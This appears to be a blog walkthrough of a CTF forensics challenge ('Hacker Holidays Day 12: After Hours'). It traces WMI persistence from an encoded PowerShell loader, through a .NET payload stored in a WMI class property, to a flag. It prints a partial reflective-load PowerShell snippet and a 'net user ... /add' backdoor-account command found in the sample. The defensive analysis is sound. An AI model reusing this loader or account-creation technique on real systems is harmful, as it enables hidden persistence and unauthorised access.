Hacker Holidays 2026 — Day 12: After Hours Walkthrough

Day 12 was a little different from the previous rooms. Instead of immediately throwing Nmap or Burp at something, we were given a bunch of Windows WMI repository files and had to figure out what was hiding inside them.

The files I got were:

OBJECTS.DATA
INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP

I started with the obvious one:

strings -a OBJECTS.DATA | less

This produced a massive amount of output. At first I was just scrolling through it and mostly seeing normal Windows/WMI stuff.

For example, I came across things like:

FX_TRACE_API Flag
FX_TRACE_DDI Flag
FX_TRACE_GENERAL Flag
FX_TRACE_OBJECT Flag

Nothing interesting there, so instead of trying to manually go through thousands of lines, I decided to search for things that shouldn’t normally stand out in a WMI repository.

Finding the PowerShell command

I ran:

strings -a OBJECTS.DATA | grep -Ei 'powershell|cmd\.exe|base64|invoke-|downloadstring|frombase64|http://|https://'

And this time we got something interesting:

cmd /C powershell.exe -Sta -Nop -Window Hidden -enc ...

The -enc immediately caught my attention because it meant the PowerShell command was Base64 encoded.

I extracted and decoded it:

strings -a OBJECTS.DATA | \
grep 'cmd /C powershell.exe' | \
head -n 1 | \
sed 's/.*-enc //' | \
base64 -d | \
iconv -f UTF-16LE -t UTF-8

That gave me:

$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
...
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke(...)

Now we had the important part.

The suspicious WMI class was:

Win32_HardwareTelemetry

and it had a property called:

ConfigData

So the next step was obviously to find that data.

Finding ConfigData

I searched for the class inside OBJECTS.DATA:

grep -aob 'Win32_HardwareTelemetry' OBJECTS.DATA

It appeared four times:

578858:Win32_HardwareTelemetry
2659626:Win32_HardwareTelemetry
9286954:Win32_HardwareTelemetry
22467882:Win32_HardwareTelemetry

Then I checked ConfigData:

grep -aob 'ConfigData' OBJECTS.DATA

And got:

578883:ConfigData
2659651:ConfigData
9286979:ConfigData
22467907:ConfigData

I dumped the data around those offsets and found a huge Base64-looking string.

Interestingly, all four locations contained the same value, so it wasn’t four different payloads.

The payload started with:

7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7g...

Instead of copying that huge string manually, I extracted it:

strings -a OBJECTS.DATA | \
grep -E '^[A-Za-z0-9+/]{100,}={0,2}$' | \
head -n 1 > configdata.b64

Then checked the size:

wc -c configdata.b64

2213 configdata.b64

Base64 → Deflate → Payload

The PowerShell code had already given us the next clue.

Get Piyush Manghnani’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

It was doing:

Base64 decode
      ↓
Deflate decompress
      ↓
Reflection.Assembly.Load()

So I followed the same process.

First:

base64 -d configdata.b64 > payload.deflate

Then decompressed it:

python3 -c "import zlib; d=open('payload.deflate','rb').read(); open('payload.bin','wb').write(zlib.decompress(d,-15))"

Checking the file:

file payload.bin

gave:

payload.bin: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections

So we had a .NET executable.

Looking inside the .NET file

I first tried normal strings:

strings -a payload.bin | head -50

Some interesting strings showed up:

updates.exe
Program
AfterHours
Main
ProcessStartInfo
set_FileName
set_Arguments
Process
Start
Console

I also searched for the flag directly:

strings -a payload.bin | grep -Ei 'flag|thm\{|tryhackme'

Nothing.

At this point I remembered that Windows/.NET binaries can store strings as UTF-16LE, so I tried:

strings -el payload.bin

And there it was.

bytelotusdc
cmd.exe
/c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add
Execution halted: Environment mismatch.

That was the final clue.

The executable was running:

cmd.exe /c net user patch <encoded-value> /add

The encoded value was:

VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9

So I decoded it:

echo 'VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9' | base64 -d

And finally:

THM{P4tch_op3ned_th3_BacKd00r}

Final Flag

THM{P4tch_op3ned_th3_BacKd00r}

What I Took From This

This room was a good reminder that persistence doesn’t always mean a suspicious Run key or a scheduled task.

Here, the interesting stuff was sitting inside the WMI repository, and the actual payload was buried several layers deep.

The path ended up being:

OBJECTS.DATA
   ↓
Win32_HardwareTelemetry
   ↓
ConfigData
   ↓
Base64
   ↓
Deflate
   ↓
.NET executable
   ↓
UTF-16LE strings
   ↓
Base64
   ↓
Flag

The funniest part was that the first strings output looked like a wall of completely normal Windows junk. The useful stuff only showed up once I started filtering it.

Hacker Holidays — Day 12